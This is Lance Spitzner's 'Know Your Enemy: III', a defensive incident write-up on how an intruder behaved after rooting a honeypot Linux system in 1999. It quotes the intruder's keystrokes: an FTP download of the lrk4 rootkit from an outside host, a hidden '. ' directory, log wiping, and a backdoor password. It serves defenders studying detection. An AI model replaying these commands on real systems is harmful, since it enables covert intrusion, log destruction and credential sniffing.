They
Gain Root
Know Your Enemy: III
Lance
Spitzner
This article is the third of a
series focusing on the script kiddie. The first
paper focuses on how script kiddies probe for, identify, and
exploit vulnerabilities. The second
paper focuses on how you can detect these attempts, identify what tools
they are using and what vulnerabilities they are looking for. This
paper, the third, focuses on what happens once they gain root. Specifically,
how they cover their tracks and what they do next.
Who is the script
kiddie
As we learned in the first
paper, the script kiddie is not so much a person as it is a strategy,
the strategy of probing for the easy kill. One is not searching for specific
information or targeting a specific company, the goal is to gain root the
easiest way possible. Intruders do this by focusing on a small number of
exploits, and then searching the entire Internet for that exploit. Do not
underestimate this strategy, sooner or later they find someone vulnerable.
Once they find a vulnerable system and gain root, their first step is
normally to cover their tracks. They want to ensure you do not know
your system was hacked and cannot see nor log their actions. Following
this, they often use your system to scan other networks, or silently monitor
your own. To gain a better understanding of how they accomplish these acts,
we are going to follow the steps of a system compromised by an intruder
using script kiddie tactics. Our system, called mozart, is a Linux
box running Red Hat 5.1. The system was compromised on April 27,
1999. Below are the actual steps our intruder took, with system logs
and keystrokes to verify each step. All system logs were recorded
to a protected syslog server, all keystrokes were captured using sniffit.
Throughout this paper our intruder is refered
to as he, however we have no idea what the true gender of the intruder
is.
The Exploit
On 27 April, at 00:13 hours, our network was scanned by the system 1Cust174.tnt2.long-branch.nj.da.uu.net
for several vulnerabilities, including imap. Our intruder came in
noisy, as every system in the network was probed (for more information
on detecting and analyzing scans, please see the second
paper of this series).
Apr 27 00:12:25 mozart
imapd[939]: connect from 208.252.226.174
Apr 27 00:12:27 bach
imapd[1190]: connect from 208.252.226.174
Apr 27 00:12:30 vivaldi
imapd[1225]: connect from 208.252.226.174
Apparently he found something he liked and returned at 06:52 and 16:47
the same day. He started off with a more thorough scan, but this
time focusing only on mozart. He identified a weakness and launched
a successful attack against mountd, a commonly known vulnerability for
Red Hat 5.1. Here we see in /var/log/messages the intruder
gaining root. The tool used was most likely ADMmountd.c,
or something similar to it.
Apr 27 16:47:28 mozart
mountd[306]: Unauthorized access by NFS client 208.252.226.174.
Apr 27 16:47:28 mozart
syslogd: Cannot glue message parts together
Apr 27 16:47:28 mozart
mountd[306]: Blocked attempt of 208.252.226.174 to mount
~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P
~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~
Immediately following this exploit, we see in /var/log/messages our
intruder gaining root by telneting in as the user crak0, and then su to
the user rewt. Both of these accounts were added by the exploit script.
Our intruder now has total control of our system.
Apr 27 16:50:27 mozart
login[1233]: FAILED LOGIN 2 FROM 1Cust102.tnt1.long-branch.nj.da.uu.net
FOR crak, User not known to the underlying authentication module
Apr 27 16:50:38 mozart
PAM_pwdb[1233]: (login) session opened for user crak0 by (uid=0)
Apr 27 16:50:38 mozart
login[1233]: LOGIN ON ttyp0 BY crak0 FROM 1Cust102.tnt1.long-branch.nj.da.uu.net
Apr 27 16:50:47 mozart
PAM_pwdb[1247]: (su) session opened for user rewt by crak0(uid=0)
Covering Their tracks
The intruder is now on our system as root. As we are now about
to see, the next step for him is to make sure he does not get caught.
First, he checks to see if anyone else is on the system.
[crak0@mozart /tmp]$
w
4:48pm
up 1 day, 18:27, 1 user, load average: 0.00, 0.00, 0.00
USER
TTY FROM
LOGIN@ IDLE JCPU PCPU WHAT
crak0
ttyp0 1Cust102.tnt1.lo 4:48pm 0.00s
0.23s 0.04s w
After making sure the coast is clear, he will want to hide all of his
actions. This normally entails removing any evidence from the logs files
and replacing system binaries with trojans, such as ps or netstat, so you
cannot see the intruder on your own system. Once the trojans are
in place, the intruder has gained total control of your system and you
will most likely never know it. Just as there are automated scripts for
hacking, there are also automated tools for hiding intruders, often called
rootkits. One of the more common rootkits is lrk4.
By executing the script, a variety of critical files are replaced, hiding
the intruder in seconds.
Within minutes of compromising our system, we see the intruder downloading
the rootkit and then implementing the script with the command "make
install". Below are the actual keystrokes the
intruder typed to hide himself.
cd /dev/
su rewt
mkdir ". "
cd ". "
ftp technotronic.com
anonymous
fdfsfdsdfssd@aol.com
cd /unix/trojans
get lrk4.unshad.tar.gz
quit
ls
tar -zxvf lrk4.unshad.tar.gz
mv lrk4 proc
mv proc ". "
cd ". "
ls
make install
Notice the first thing that our intruder did, he created the hidden
directory ". " to hide his toolkit. This directory does not
show up with the "ls"
command, and looks like the local directory with "ls
-la" command. One way you can locate the directory is with
the "find"
command (be sure you can trust the integrity of your "find"
binary).
mozart #find / -depth
-name "*.*"
/var/lib/news/.news.daily
/var/spool/at/.SEQ
/dev/. /. /procps-1.01/proc/.depend
/dev/. /.
/dev/.
Our intruder may have been somewhat sophisticated in using trojan binaries,
but had a simpler approach to cleaning the logs files. Instead of
using cleaning tools such as zap2 or clean, he copied /dev/null to the
files /var/run/utmp and /var/log/utmp, while deleting /var/log/wtmp.
You know something is wrong when these logs files contain no data, or you
get the following error:
[root@mozart sbin]# last
-10
last: /var/log/wtmp:
No such file or directory
Perhaps this file was
removed by the operator to prevent logging last info.
The Next Step
Once a system has been compromised, intruders tend to do one of two
things. First, they use your system as a launching pad and scan or
exploit other systems. Second, they decided to lay low and see what
they can learn about your system, such as accounts for other systems.
Our intruder decided for option number two, lay low and see what he could
learn. He implemented a sniffer on our system that would capture
all of our network traffic, including telnet and ftp sessions to other
systems. This way he could learn logins and passwords. We see
the sytem going into promiscuous mode in /var/log/messages soon after the
compromise.
Apr 27 17:03:38 mozart
kernel: eth0: Setting promiscuous mode.
Apr 27 17:03:43 mozart
kernel: eth0: Setting promiscuous mode.
After implementing the trojan binaries, clearning the log files, and
starting the sniffer, our intruder disconnected from the system.
However, we will see him returning the next day to find what traffic he
captured.
Damage Control
Since our friend had disconnected, this gave me a chance to review the
system and see what exactly happened. I was extremely interested
to see what was altered, and where he was logging the sniffer information.
First, I quickly identified with tripwire
which files were modified. Note, make sure you run tripwire
from a valid source. I like to run a statically-linked version of
tripwire from a read-only floppy. Tripwire showed the following.
added: -rw-r--r--
root
5 Apr 27 17:01:16 1999 /usr/sbin/sniff.pid
added: -rw-r--r--
root 272 Apr 27 17:18:09
1999 /usr/sbin/tcp.log
changed: -rws--x--x
root 15588 Jun 1 05:49:22
1998 /bin/login
changed: drwxr-xr-x
root 20480 Apr 10 14:44:37 1999
/usr/bin
changed: -rwxr-xr-x
root 52984 Jun 10 04:49:22 1998
/usr/bin/find
changed: -r-sr-sr-x
root 126600 Apr 27 11:29:18 1998 /usr/bin/passwd
changed: -r-xr-xr-x
root 47604 Jun 3 16:31:57
1998 /usr/bin/top
changed: -r-xr-xr-x
root 9712 May 1 01:04:46
1998 /usr/bin/killall
changed: -rws--s--x
root 116352 Jun 1 20:25:47 1998
/usr/bin/chfn
changed: -rws--s--x
root 115828 Jun 1 20:25:47 1998
/usr/bin/chsh
changed: drwxr-xr-x
root 4096 Apr 27 17:01:16
1999 /usr/sbin
changed: -rwxr-xr-x
root 137820 Jun 5 09:35:06 1998
/usr/sbin/inetd
changed: -rwxr-xr-x
root 7229 Nov 26 00:02:19
1998 /usr/sbin/rpc.nfsd
changed: -rwxr-xr-x
root 170460 Apr 24 00:02:19 1998 /usr/sbin/in.rshd
changed: -rwxr-x---
root 235516 Apr 4 22:11:56 1999
/usr/sbin/syslogd
changed: -rwxr-xr-x
root 14140 Jun 30 14:56:36 1998
/usr/sbin/tcpd
changed: drwxr-xr-x
root 2048 Apr 4 16:52:55
1999 /sbin
changed: -rwxr-xr-x
root 19840 Jul 9 17:56:10
1998 /sbin/ifconfig
changed: -rw-r--r--
root 649 Apr 27 16:59:54
1999 /etc/passwd
As you can see, a variety of binaries and files were modified.
There were no new entries in /etc/passwd (wisely, he had removed the crak0
and rewt accounts), so our intruder must have left a backdoor in one of
the modified binaries. Also, two files were added, /usr/sbin/sniff.pid
and /usr/sbin/tcp.log. Not suprisingly, /usr/sbin/sniff.pid was the
pid of the sniffer, /usr/sbin/tcp.log was where he was storing all of his
captured information. Based on /usr/sbin/sniff.pid, the sniffer turned
out to be rpc.nfsd. Our intruder had compiled a sniffer, in this
case linsniffer, and replaced rpc.nfsd with it. This ensured that
if the system was rebooted, the sniffer would be restarted by the init
process. Strings confirms rpc.nfsd is the sniffer:
mozart #strings /usr/sbin/rpc.nfsd
| tail -15
cant get SOCK_PACKET
socket
cant get flags
cant set promiscuous
mode
----- [CAPLEN Exceeded]
----- [Timed Out]
----- [RST]
----- [FIN]
%s =>
%s [%d]
sniff.pid
eth0
tcp.log
cant open log
rm %s
After reviewing the system and understanding what happened, I left the
system alone. I was curious to see what the intruder's next steps
would be. I did not want him to know that I had caught him, so I
removed all of my entries from /usr/sbin/tcp.log.
The Script Kiddie Returns
The following day our friend returned. By logging his keystrokes,
I quickly identified the backdoor, /bin/login was trojaned. This
binary, used for telnet connections, was configured to allow the account
"rewt" root privileges with the password "satori". The password "satori"
is the default password for all trojaned binaries that the rootkit lrk4
uses, a giveaway that your system may have been compromised.
The intruder was checking on his sniffer to ensure it was still functioning.
Also, he wanted to confirm if any accounts were captured since the previous
day. You can review his keystrokes at keystrokes.txt.
Notice at the bottom of the log our intruder kills the sniffer. This
was the last thing he did before terminating the session. However,
he quickly returned several minutes later with another session, only to
start the sniffer again. I'm not exactly sure why he did this.
This process of checking the system continued for several days.
Every day the intruder would connect to the system to confirm the sniffer
was running and if it had captured any valuable data. After
the fourth day, I decided that this was enough and disconnected the system.
I had learned enough from the intruder's actions and was not going to learn
anything new.
Conclusion
We have seen in this paper how an intruder may act , from start to finish,
once they gain root on your system. They often begin by checking to see
if anyone is on the system. Once they know the coast is clear, they
cover their tracks by clearing the logfiles and replacing or modifying
critical files. Once they are safely hidden, they move onto new and more
damaging activities. These tactics are here to stay, as new exploits
are constantly being discovered. To better protect yourself against these
threats, I recommend you armor your systems. Basic armoring will
protect against most script kiddie threats, as they normally go for the
easy kill. For ideas on how to armor your system, check out Armoring
Solaris. If it is to late and you feel your system has already
been compromised, a good place to start is CERT's site "Recovering
from an Incident" .
Author's bio
Lance Spitzner enjoys learning by blowing up his Unix systems at
home. Before this, he was an Officer
in the Rapid Deployment Force, where he blew up things of a different
nature. You can reach him at lspitz@ksni.net
.
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